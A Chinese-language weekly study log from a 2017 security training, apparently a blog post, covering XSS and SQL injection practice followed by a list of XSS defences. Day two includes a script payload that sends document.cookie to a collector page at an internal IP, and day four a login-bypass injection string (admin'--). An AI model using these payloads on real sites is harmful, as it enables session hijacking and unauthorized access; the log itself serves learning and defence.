[CATARC_2017] 第六周

第一天 (6.12)

集体复习 HaHa

第二天 (6.13)

视频自预习习XSS跨站脚本攻击

Input: <script>alert(/xss/)<script>

Input: <script>document.write('<img src="http://192.168.0.5/Accept_cookie.php?cookie='+document.cookie+'"width=0 height=0 border=0 />');alert(/XSS/)</script>

第三天 (6.14)

爽姐讲XSS

第四天 (6.15)

国哥给出新的网站扫描: ELV环境合规系统

手动探索

 

Click 〇中文 or 〇英文

or

Input: admin1 ******

Input: admin'-- ******

 

 

自动化测试

SQLmap

第五天 (6.16)

SF

1.将重要的cookie标记为http only,使JavaScript中的document.cookie语句不能获取到cookie。
2.输入检查:在构造白名单的过程中需要保证在不影响用户体验的同时,尽可能杜绝一切不必要的输入内容,只允许用户输入我们期望的数据。 例如:年龄的textbox中,只允许用户输入数字,而数字之外的字符都过滤掉。
3.输出检查:对数据进行Html Encode处理,过滤或移除特殊的Html标签,例如:<script>, <iframe> , < for <, > for >, &quot for,过滤JavaScript事件的标签。例如 "onclick=", "onfocus" 等等。
4.其他参考:富文本过滤库
ruby: https://github.com/rgrove/sanitize
php: https://github.com/ezyang/htmlpurifier
javascript: https://github.com/leizongmin/js-xss
https://github.com/cure53/DOMPurify
更多:
https://github.com/search?o=desc&q=xss&ref=searchresults&s=stars&type=Repositories&utf8=%E2%9C%93

原文地址:https://www.cnblogs.com/cragoncanth/p/7084612.html